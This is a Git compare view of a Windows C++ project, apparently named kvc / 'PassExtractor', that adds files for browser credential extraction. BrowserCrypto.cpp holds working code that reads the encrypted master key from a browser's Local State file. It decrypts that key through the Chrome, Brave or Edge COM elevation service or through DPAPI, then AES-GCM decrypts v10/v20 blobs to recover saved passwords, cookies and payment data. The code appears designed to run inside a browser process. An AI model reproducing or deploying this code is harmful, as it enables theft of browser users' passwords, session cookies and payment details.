Compare commits

88 Commits
v1.0.1 ... main

Author SHA1 Message Date
wesmar
6df3ee00eb Aktualizacja: 2025-10-24 09:05:53 2025-10-24 09:05:53 +02:00
wesmar
bb6e4cae4f Aktualizacja: 2025-10-23 23:36:36 2025-10-23 23:36:36 +02:00
wesmar
4f715d21a3 Aktualizacja: 2025-10-21 08:39:47 2025-10-21 08:39:47 +02:00
wesmar
58cfcf1f0f Aktualizacja: 2025-10-20 07:29:16 2025-10-20 07:29:16 +02:00
wesmar
cd3f29586e Aktualizacja: 2025-10-20 02:40:59 2025-10-20 02:40:59 +02:00
wesmar
55ba91d64d Aktualizacja: 2025-10-20 02:39:52 2025-10-20 02:39:52 +02:00
wesmar
9ee844dc8a Aktualizacja: 2025-10-20 02:33:16 2025-10-20 02:33:16 +02:00
wesmar
3a2dcb9850 Aktualizacja: 2025-10-20 02:27:44 2025-10-20 02:27:44 +02:00
wesmar
67673b5c70 Aktualizacja: 2025-10-20 02:21:09 2025-10-20 02:21:09 +02:00
wesmar
e1acfcec8a Aktualizacja: 2025-10-20 02:11:06 2025-10-20 02:11:06 +02:00
wesmar
2cb313ae13 Aktualizacja: 2025-10-20 01:56:30 2025-10-20 01:56:30 +02:00
wesmar
e270aa57f1 Aktualizacja: 2025-10-20 01:54:02 2025-10-20 01:54:02 +02:00
wesmar
c7bdb17c1d Aktualizacja: 2025-10-20 01:51:29 2025-10-20 01:51:29 +02:00
wesmar
2eb29937ba Aktualizacja: 2025-10-20 01:48:42 2025-10-20 01:48:42 +02:00
wesmar
c40226aafe Aktualizacja: 2025-10-20 01:45:12 2025-10-20 01:45:12 +02:00
wesmar
0995d6f54b Aktualizacja: 2025-10-20 01:42:29 2025-10-20 01:42:29 +02:00
wesmar
4dbc63bb20 Aktualizacja: 2025-10-20 01:35:42 2025-10-20 01:35:42 +02:00
wesmar
f4fadf1424 Aktualizacja: 2025-10-20 01:30:41 2025-10-20 01:30:41 +02:00
wesmar
3c10c97b8c Aktualizacja: 2025-10-20 01:28:51 2025-10-20 01:28:51 +02:00
wesmar
eb8e6c3fe9 Aktualizacja: 2025-10-20 01:26:00 2025-10-20 01:26:00 +02:00
wesmar
6630673cfb Aktualizacja: 2025-10-20 00:18:07 2025-10-20 00:18:07 +02:00
wesmar
9aabcb3f3b Aktualizacja: 2025-10-19 13:06:01 2025-10-19 13:06:01 +02:00
wesmar
b6c670f485 Aktualizacja: 2025-10-19 02:17:38 2025-10-19 02:17:38 +02:00
wesmar
e4d12fc1df Aktualizacja: 2025-10-18 15:32:14 2025-10-18 15:32:14 +02:00
wesmar
cb42afe402 Aktualizacja: 2025-10-18 02:15:48 2025-10-18 02:15:48 +02:00
wesmar
464728f3dd Aktualizacja: 2025-10-18 02:01:20 2025-10-18 02:01:21 +02:00
wesmar
6aca506715 Aktualizacja: 2025-10-16 23:31:18 2025-10-16 23:31:18 +02:00
wesmar
e0db9452e4 Aktualizacja: 2025-10-16 17:54:22 2025-10-16 17:54:23 +02:00
wesmar
dccf4ccf09 Aktualizacja: 2025-10-16 17:41:18 2025-10-16 17:41:18 +02:00
wesmar
7620fd8aa8 Aktualizacja: 2025-10-16 17:40:37 2025-10-16 17:40:37 +02:00
wesmar
9926238fb0 Aktualizacja: 2025-10-16 14:35:26 2025-10-16 14:35:26 +02:00
wesmar
0bd5de8765 Aktualizacja: 2025-10-16 11:10:36 2025-10-16 11:10:36 +02:00
wesmar
e54bd41f07 Aktualizacja: 2025-10-16 10:02:45 2025-10-16 10:02:45 +02:00
wesmar
c2bda40e5b Aktualizacja: 2025-10-15 23:52:42 2025-10-15 23:52:43 +02:00
wesmar
da908ccb24 Aktualizacja: 2025-10-15 23:50:43 2025-10-15 23:50:43 +02:00
wesmar
9075be7375 Aktualizacja: 2025-10-15 12:58:17 2025-10-15 12:58:38 +02:00
Marek Wesołowski
b6bedf40f3 Delete kvc/kvc_crypt2.vcxproj 2025-10-15 12:48:32 +02:00
wesmar
4f6cf1bdb9 Aktualizacja: 2025-10-15 12:46:22 2025-10-15 12:46:23 +02:00
wesmar
23a8570aa9 Aktualizacja: 2025-10-15 01:41:18 2025-10-15 01:41:18 +02:00
wesmar
50a9ed3594 Aktualizacja: 2025-10-15 01:37:49 2025-10-15 01:37:49 +02:00
wesmar
a2c6d7f03d Aktualizacja: 2025-10-15 01:15:59 2025-10-15 01:15:59 +02:00
wesmar
2b5baf2afc Aktualizacja: 2025-10-11 12:17:46 2025-10-11 12:17:46 +02:00
wesmar
e213c51768 Aktualizacja: 2025-10-08 01:01:44 2025-10-08 01:01:44 +02:00
wesmar
e687cf2ff6 Aktualizacja: 2025-10-07 11:16:04 2025-10-07 11:16:04 +02:00
wesmar
94b1657a93 Aktualizacja: 2025-10-05 22:05:53 2025-10-05 22:05:53 +02:00
wesmar
88d3bd204f Aktualizacja: 2025-10-05 13:34:19 2025-10-05 13:34:19 +02:00
wesmar
1ef3c0edc5 Aktualizacja: 2025-10-05 12:43:36 2025-10-05 12:43:36 +02:00
wesmar
3fa4db880b Aktualizacja: 2025-10-05 00:35:24 2025-10-05 00:35:24 +02:00
wesmar
29e28d4894 Aktualizacja: 2025-10-04 22:05:43 2025-10-04 22:05:44 +02:00
wesmar
3811f65d21 Aktualizacja: 2025-10-03 09:46:50 2025-10-03 09:48:34 +02:00
Marek Wesołowski
26a43694ce Update README.md 2025-10-03 00:57:46 +02:00
Marek Wesołowski
e07fde8f0b Update README.md 2025-10-03 00:51:22 +02:00
wesmar
aadbbc0a6b Aktualizacja: 2025-10-03 00:14:00 2025-10-03 00:14:00 +02:00
wesmar
78f8ca5a7b Aktualizacja: 2025-10-02 23:11:12 2025-10-02 23:11:12 +02:00
wesmar
5aaff0c4f9 Aktualizacja: 2025-10-02 21:28:41 2025-10-02 21:28:41 +02:00
wesmar
4516f331ab Aktualizacja: 2025-10-02 14:24:26 2025-10-02 14:24:26 +02:00
wesmar
6d0a033122 Aktualizacja: 2025-10-02 12:44:45 2025-10-02 12:44:45 +02:00
wesmar
f6e23e0943 Aktualizacja: 2025-10-02 08:38:40 2025-10-02 08:38:40 +02:00
wesmar
6cb33b0183 Aktualizacja: 2025-10-02 08:38:19 2025-10-02 08:38:19 +02:00
wesmar
de135c0487 Aktualizacja: 2025-10-02 01:08:10 2025-10-02 01:08:10 +02:00
wesmar
0ccfead131 Aktualizacja: 2025-09-30 23:38:41 2025-09-30 23:38:41 +02:00
wesmar
6e8e094f5c Aktualizacja: 2025-09-30 15:31:17 2025-09-30 15:31:30 +02:00
wesmar
aa3dd56fe2 Aktualizacja: 2025-09-30 15:30:24 2025-09-30 15:31:30 +02:00
Marek Wesołowski
2d75f86142 Update README.md 2025-09-25 21:16:10 +02:00
wesmar
f83339988b Aktualizacja: 2025-09-25 14:08:31 2025-09-25 14:08:31 +02:00
wesmar
7c9106e62f Aktualizacja: 2025-09-25 14:08:12 2025-09-25 14:08:12 +02:00
wesmar
022127c08a Aktualizacja: 2025-09-25 12:44:29 2025-09-25 12:44:29 +02:00
wesmar
fe69b81d9e Aktualizacja: 2025-09-25 09:44:54 2025-09-25 09:44:54 +02:00
wesmar
4f5417aeb6 Aktualizacja: 2025-09-25 03:00:24 2025-09-25 03:00:24 +02:00
wesmar
7f400a971e Aktualizacja: 2025-09-23 22:15:16 2025-09-23 22:15:16 +02:00
wesmar
7e1640f447 Aktualizacja: 2025-09-23 22:13:43 2025-09-23 22:13:43 +02:00
wesmar
5b72aaf1f9 Aktualizacja: 2025-09-23 01:51:33 2025-09-23 01:51:33 +02:00
wesmar
d2eda2b95f Add pack-data.sh to gitignore 2025-09-23 01:51:06 +02:00
wesmar
5930d2d7db Aktualizacja: 2025-09-23 01:40:18 2025-09-23 01:40:18 +02:00
wesmar
ecd1dca043 Aktualizacja: 2025-09-23 01:38:42 2025-09-23 01:39:54 +02:00
Marek Wesołowski
3392584676 Delete pack-data.sh 2025-09-22 00:48:15 +02:00
wesmar
b8ec1cfa14 Aktualizacja: 2025-09-21 23:42:35 2025-09-21 23:44:06 +02:00
wesmar
8bada3f68f Aktualizacja: 2025-09-19 12:47:54 2025-09-21 23:44:06 +02:00
wesmar
fa36c49edb Aktualizacja: 2025-09-19 12:46:29 2025-09-21 23:44:06 +02:00
Marek Wesołowski
6e331b9eb0 Delete git-push.sh 2025-09-19 08:42:04 +02:00
wesmar
dc1e230514 Aktualizacja: 2025-09-18 23:52:53 2025-09-18 23:52:53 +02:00
wesmar
a84cb5ba92 Overwrite content 2025-09-18 23:42:08 +02:00
Marek Wesołowski
ebc93881a8 Update README.md 2025-09-18 18:21:05 +02:00
Marek Wesołowski
573ec0dfe5 Update README.md 2025-09-18 18:20:09 +02:00
Marek Wesołowski
dc2a1f0717 Fixed Windows 10 driver creation 2025-09-18 16:04:26 +02:00
Marek Wesołowski
d6fb59442e Add files via upload 2025-09-18 09:59:21 +02:00
Marek Wesołowski
c0d30fa73f Update README.md 2025-09-17 23:07:16 +02:00
Marek Wesołowski
4a84ad4d63 Update README.md 2025-09-17 22:53:54 +02:00
92 changed files with 17535 additions and 7987 deletions

26
.gitignore vendored Normal file
View File

@@ -0,0 +1,26 @@
# Skrypty lokalne
git-push.sh
pack-release.sh
pack-data.sh
# Pliki środowiskowe
.env
.env.*
# Release files
releases/
*.7z
*.zip
*.dat
*.tar.gz
# Binarki i build
bin/
obj/
build/
dist/
*.exe
*.dll
# Katalogi z danymi
data/

2191
README.md

File diff suppressed because it is too large Load Diff

BIN
images/kvc_00.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

View File

@@ -9,6 +9,10 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_crypt", "kvc\kvc_crypt.
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_pass", "kvc\kvc_pass.vcxproj", "{12345678-1234-1234-1234-123456789ABC}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KvcXor", "kvc\KvcXor.vcxproj", "{A905154D-F1EC-4821-9717-9F6D35F69F3F}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "implementer", "kvc\implementer.vcxproj", "{376BAFB6-0DB9-4BFF-903A-779B4CE72CBC}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Release|x64 = Release|x64
@@ -20,11 +24,16 @@ Global
{87654321-4321-4321-4321-123456789DEF}.Release|x64.Build.0 = Release|x64
{12345678-1234-1234-1234-123456789ABC}.Release|x64.ActiveCfg = Release|x64
{12345678-1234-1234-1234-123456789ABC}.Release|x64.Build.0 = Release|x64
{A905154D-F1EC-4821-9717-9F6D35F69F3F}.Release|x64.ActiveCfg = Release|x64
{A905154D-F1EC-4821-9717-9F6D35F69F3F}.Release|x64.Build.0 = Release|x64
{376BAFB6-0DB9-4BFF-903A-779B4CE72CBC}.Release|x64.ActiveCfg = Release|x64
{376BAFB6-0DB9-4BFF-903A-779B4CE72CBC}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {75429447-576C-4E36-9CDC-F4B668D9FBF5}
SolutionGuid = {6314F007-4E69-4DEE-8AB4-D38008D70307}
EndGlobalSection
EndGlobal

128
kvc/BannerSystem.cpp Normal file
View File

@@ -0,0 +1,128 @@
// Add these functions to CommunicationLayer.cpp or create separate BannerSystem.cpp
#include <Windows.h>
#include <iostream>
#include <string>
namespace Banner
{
// Print centered text with specified color
void PrintCentered(HANDLE hConsole, const std::wstring& text, WORD color, int width = 80)
{
int textLen = static_cast<int>(text.length());
int padding = (width - textLen) / 2;
if (padding < 0) padding = 0;
SetConsoleTextAttribute(hConsole, color);
std::wcout << std::wstring(padding, L' ') << text << L"\n";
}
// Print application banner with blue frame
void PrintHeader()
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
const int width = 80;
const WORD frameColor = FOREGROUND_BLUE | FOREGROUND_INTENSITY;
const WORD textColor = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY;
// Top border
SetConsoleTextAttribute(hConsole, frameColor);
std::wcout << L"\n";
std::wcout << L"================================================================================\n";
// Banner content - centered white text
PrintCentered(hConsole, L"Marek Wesolowski - WESMAR - 2025", textColor, width);
PrintCentered(hConsole, L"PassExtractor v1.0.1 https://kvc.pl", textColor, width);
PrintCentered(hConsole, L"+48 607-440-283, marek@wesolowski.eu.org", textColor, width);
PrintCentered(hConsole, L"PassExtractor - Advanced Browser Credential Extraction Framework", textColor, width);
PrintCentered(hConsole, L"Multi-Browser Password, Cookie & Payment Data Recovery Tool", textColor, width);
PrintCentered(hConsole, L"Chrome, Brave, Edge Support via COM Elevation & DPAPI Techniques", textColor, width);
// Bottom border
SetConsoleTextAttribute(hConsole, frameColor);
std::wcout << L"================================================================================\n\n";
// Restore original color
SetConsoleTextAttribute(hConsole, originalColor);
}
// Print footer with donation information
void PrintFooter()
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
const int width = 80;
const WORD frameColor = FOREGROUND_BLUE | FOREGROUND_INTENSITY;
const WORD textColor = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY;
const WORD linkColor = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
// Helper lambda for centered text in frame
auto printCenteredInFrame = [&](const std::wstring& text) {
int textLen = static_cast<int>(text.length());
int padding = (width - 2 - textLen) / 2;
if (padding < 0) padding = 0;
SetConsoleTextAttribute(hConsole, frameColor);
std::wcout << L"|";
SetConsoleTextAttribute(hConsole, textColor);
std::wcout << std::wstring(padding, L' ') << text
<< std::wstring(width - 2 - padding - textLen, L' ');
SetConsoleTextAttribute(hConsole, frameColor);
std::wcout << L"|\n";
};
// Top border
SetConsoleTextAttribute(hConsole, frameColor);
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n";
// Footer content
printCenteredInFrame(L"Support this project - a small donation is greatly appreciated");
printCenteredInFrame(L"and helps sustain private research builds.");
printCenteredInFrame(L"GitHub source code: https://github.com/wesmar/kvc/");
printCenteredInFrame(L"Professional services: marek@wesolowski.eu.org");
// Donation line with colored links
SetConsoleTextAttribute(hConsole, frameColor);
std::wcout << L"|";
std::wstring paypal = L"PayPal: ";
std::wstring paypalLink = L"paypal.me/ext1";
std::wstring middle = L" ";
std::wstring revolut = L"Revolut: ";
std::wstring revolutLink = L"revolut.me/marekb92";
int totalLen = static_cast<int>(paypal.length() + paypalLink.length() +
middle.length() + revolut.length() + revolutLink.length());
int padding = (width - totalLen - 2) / 2;
if (padding < 0) padding = 0;
SetConsoleTextAttribute(hConsole, textColor);
std::wcout << std::wstring(padding, L' ') << paypal;
SetConsoleTextAttribute(hConsole, linkColor);
std::wcout << paypalLink;
SetConsoleTextAttribute(hConsole, textColor);
std::wcout << middle << revolut;
SetConsoleTextAttribute(hConsole, linkColor);
std::wcout << revolutLink;
SetConsoleTextAttribute(hConsole, textColor);
std::wcout << std::wstring(width - totalLen - padding - 2, L' ');
SetConsoleTextAttribute(hConsole, frameColor);
std::wcout << L"|\n";
// Bottom border
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n\n";
// Restore original color
SetConsoleTextAttribute(hConsole, originalColor);
}
}

20
kvc/BannerSystem.h Normal file
View File

@@ -0,0 +1,20 @@
// BannerSystem.h - Application banner and footer management
#ifndef BANNER_SYSTEM_H
#define BANNER_SYSTEM_H
#include <Windows.h>
#include <string>
namespace Banner
{
// Print centered text with specified color
void PrintCentered(HANDLE hConsole, const std::wstring& text, WORD color, int width = 80);
// Print application banner with blue frame
void PrintHeader();
// Print footer with donation information
void PrintFooter();
}
#endif // BANNER_SYSTEM_H

397
kvc/BrowserCrypto.cpp Normal file
View File

@@ -0,0 +1,397 @@
// BrowserCrypto.cpp - Browser-specific cryptographic operations
// Implements selective COM/DPAPI strategy based on browser and data type
#include "BrowserCrypto.h"
#include "CommunicationModule.h"
#include <ShlObj.h>
#include <wrl/client.h>
#include <bcrypt.h>
#include <Wincrypt.h>
#include <fstream>
#include <sstream>
#include <stdexcept>
#include <algorithm>
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
namespace SecurityComponents
{
namespace Browser
{
// Browser-specific configuration database
// Contains COM CLSIDs, IIDs, and file paths for each supported browser
const std::unordered_map<std::string, Config>& GetConfigs()
{
static const std::unordered_map<std::string, Config> browser_configs = {
{"chrome", {"Chrome", L"chrome.exe",
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
fs::path("Google") / "Chrome" / "User Data"}},
{"brave", {"Brave", L"brave.exe",
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
{"edge", {"Edge", L"msedge.exe",
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
fs::path("Microsoft") / "Edge" / "User Data"}}
};
return browser_configs;
}
// Determines browser configuration based on current process executable name
Config GetConfigForCurrentProcess()
{
char exePath[MAX_PATH] = {0};
GetModuleFileNameA(NULL, exePath, MAX_PATH);
std::string processName = fs::path(exePath).filename().string();
std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);
const auto& configs = GetConfigs();
if (processName == "chrome.exe") return configs.at("chrome");
if (processName == "brave.exe") return configs.at("brave");
if (processName == "msedge.exe") return configs.at("edge");
throw std::runtime_error("Unsupported host process: " + processName);
}
}
namespace Crypto
{
// Encryption scheme identifier prefixes
const uint8_t CHROME_KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
const uint8_t EDGE_KEY_PREFIX[] = {'D', 'P', 'A', 'P', 'I'};
const std::string V10_PREFIX = "v10";
const std::string V20_PREFIX = "v20";
// RAII wrapper for BCrypt algorithm handle
class BCryptAlgorithm
{
public:
BCryptAlgorithm() {
BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0);
}
~BCryptAlgorithm() {
if (handle) BCryptCloseAlgorithmProvider(handle, 0);
}
operator BCRYPT_ALG_HANDLE() const { return handle; }
bool IsValid() const { return handle != nullptr; }
private:
BCRYPT_ALG_HANDLE handle = nullptr;
};
// RAII wrapper for BCrypt key handle
class BCryptKey
{
public:
BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
{
BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0,
const_cast<PUCHAR>(key.data()),
static_cast<ULONG>(key.size()), 0);
}
~BCryptKey() {
if (handle) BCryptDestroyKey(handle);
}
operator BCRYPT_KEY_HANDLE() const { return handle; }
bool IsValid() const { return handle != nullptr; }
private:
BCRYPT_KEY_HANDLE handle = nullptr;
};
// Decrypts AES-GCM encrypted data using provided key
// Supports both v10 and v20 encryption schemes
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
{
std::string detectedPrefix;
size_t prefixLength = 0;
// Detect encryption scheme version
if (blob.size() >= 3)
{
if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
{
detectedPrefix = V10_PREFIX;
prefixLength = V10_PREFIX.length();
}
else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
{
detectedPrefix = V20_PREFIX;
prefixLength = V20_PREFIX.length();
}
else
{
return {};
}
}
else
{
return {};
}
// Validate blob size
const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
if (blob.size() < GCM_OVERHEAD_LENGTH)
return {};
// Initialize AES-GCM decryption
BCryptAlgorithm algorithm;
if (!algorithm.IsValid())
return {};
BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE,
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
BCryptKey cryptoKey(algorithm, key);
if (!cryptoKey.IsValid())
return {};
// Extract IV, ciphertext, and authentication tag
const uint8_t* iv = blob.data() + prefixLength;
const uint8_t* ct = iv + GCM_IV_LENGTH;
const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);
// Configure authenticated cipher mode
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
authInfo.pbNonce = const_cast<PUCHAR>(iv);
authInfo.cbNonce = GCM_IV_LENGTH;
authInfo.pbTag = const_cast<PUCHAR>(tag);
authInfo.cbTag = GCM_TAG_LENGTH;
// Perform decryption
std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
ULONG outLen = 0;
NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo,
nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()),
&outLen, 0);
if (!NT_SUCCESS(status))
return {};
plain.resize(outLen);
return plain;
}
// Extracts encrypted master key from browser's Local State file
// Handles both APPB (COM) and DPAPI blob formats
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
{
std::ifstream f(localStatePath, std::ios::binary);
if (!f)
throw std::runtime_error("Could not open Local State file.");
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
// Search for encrypted key in JSON
std::string tag = "\"app_bound_encrypted_key\":\"";
size_t pos = content.find(tag);
if (pos == std::string::npos) {
tag = "\"encrypted_key\":\"";
pos = content.find(tag);
if (pos == std::string::npos)
throw std::runtime_error("Encrypted key not found in Local State.");
}
pos += tag.length();
size_t end_pos = content.find('"', pos);
if (end_pos == std::string::npos)
throw std::runtime_error("Malformed encrypted key format.");
auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
if (!optDecoded)
throw std::runtime_error("Base64 decoding of encrypted key failed.");
auto& decodedData = *optDecoded;
// Check for APPB prefix (COM-encrypted key)
if (decodedData.size() >= sizeof(CHROME_KEY_PREFIX) &&
memcmp(decodedData.data(), CHROME_KEY_PREFIX, sizeof(CHROME_KEY_PREFIX)) == 0)
{
return {decodedData.begin() + sizeof(CHROME_KEY_PREFIX), decodedData.end()};
}
// Check for DPAPI blob header (0x01000000)
else if (decodedData.size() >= 4 &&
decodedData[0] == 0x01 && decodedData[1] == 0x00 &&
decodedData[2] == 0x00 && decodedData[3] == 0x00)
{
return decodedData;
}
else
{
throw std::runtime_error("Unknown key format - not APPB or DPAPI blob.");
}
}
}
BrowserManager::BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}
fs::path BrowserManager::getUserDataRoot() const
{
return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
}
MasterKeyDecryptor::MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger) {}
MasterKeyDecryptor::~MasterKeyDecryptor()
{
if (m_comInitialized)
{
CoUninitialize();
}
}
// Decrypts master key using browser's COM elevation service
std::vector<uint8_t> MasterKeyDecryptor::DecryptWithCOM(const Browser::Config& config,
const std::vector<uint8_t>& encryptedKeyBlob)
{
BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()),
static_cast<UINT>(encryptedKeyBlob.size()));
if (!bstrEncKey)
throw std::runtime_error("Failed to allocate BSTR for encrypted key.");
BSTR bstrPlainKey = nullptr;
HRESULT hr = E_FAIL;
DWORD comErr = 0;
// Edge uses different COM interface than Chrome/Brave
if (config.name == "Edge")
{
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
if (SUCCEEDED(hr))
{
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
}
}
else
{
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
if (SUCCEEDED(hr))
{
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
}
}
SysFreeString(bstrEncKey);
// Validate decryption result
if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
{
if (bstrPlainKey) SysFreeString(bstrPlainKey);
std::ostringstream oss;
oss << "COM elevation decryption failed for " << config.name << ". HRESULT: 0x"
<< std::hex << hr;
throw std::runtime_error(oss.str());
}
std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
SysFreeString(bstrPlainKey);
return aesKey;
}
// Decrypts master key using Windows DPAPI
// Used for Edge passwords when orchestrator provides pre-decrypted key
std::vector<uint8_t> MasterKeyDecryptor::DecryptWithDPAPI(const fs::path& localStatePath)
{
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
DATA_BLOB inputBlob = {
static_cast<DWORD>(encryptedKeyBlob.size()),
encryptedKeyBlob.data()
};
DATA_BLOB outputBlob = {};
BOOL result = CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr,
CRYPTPROTECT_UI_FORBIDDEN, &outputBlob);
if (!result)
{
DWORD error = GetLastError();
std::ostringstream oss;
oss << "DPAPI decryption failed. Error: 0x" << std::hex << error;
m_logger.Log("[-] " + oss.str());
throw std::runtime_error(oss.str());
}
std::vector<uint8_t> aesKey(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData);
LocalFree(outputBlob.pbData);
if (aesKey.size() != Crypto::KEY_SIZE)
{
std::string errMsg = "Decrypted key size mismatch: " + std::to_string(aesKey.size()) +
", expected: " + std::to_string(Crypto::KEY_SIZE);
m_logger.Log("[-] " + errMsg);
throw std::runtime_error(errMsg);
}
return aesKey;
}
// Main decryption entry point - selects strategy based on browser and data type
std::vector<uint8_t> MasterKeyDecryptor::Decrypt(const Browser::Config& config,
const fs::path& localStatePath,
DataType dataType)
{
m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
// Edge passwords use DPAPI without process requirement
if (config.name == "Edge" && dataType == DataType::Passwords)
{
m_logger.Log("[*] Using DPAPI decryption for Edge passwords (no process required)");
auto aesKey = DecryptWithDPAPI(localStatePath);
m_logger.Log("[+] Edge DPAPI decryption successful for passwords");
return aesKey;
}
else
{
// All other scenarios use COM elevation
std::string dataTypeStr = "data";
switch (dataType) {
case DataType::Cookies: dataTypeStr = "cookies"; break;
case DataType::Payments: dataTypeStr = "payments"; break;
case DataType::Passwords: dataTypeStr = "passwords"; break;
default: dataTypeStr = "data"; break;
}
m_logger.Log("[*] Using COM elevation for " + config.name + " " + dataTypeStr);
if (!m_comInitialized)
{
if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
{
throw std::runtime_error("Failed to initialize COM library.");
}
m_comInitialized = true;
m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
}
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");
auto aesKey = DecryptWithCOM(config, encryptedKeyBlob);
m_logger.Log("[+] " + config.name + " COM elevation decryption successful for " + dataTypeStr);
return aesKey;
}
}
}

123
kvc/BrowserCrypto.h Normal file
View File

@@ -0,0 +1,123 @@
// BrowserCrypto.h - Cryptographic operations and browser-specific configurations
// Implements selective decryption strategy for different data types and browsers
#ifndef BROWSER_CRYPTO_H
#define BROWSER_CRYPTO_H
#include <Windows.h>
#include <vector>
#include <string>
#include <filesystem>
#include <unordered_map>
namespace fs = std::filesystem;
namespace SecurityComponents
{
class PipeLogger;
// Data type enumeration for selective decryption strategy
enum class DataType {
Passwords, // Use DPAPI for Edge passwords (no process required)
Cookies, // Use COM elevation for browser cookies
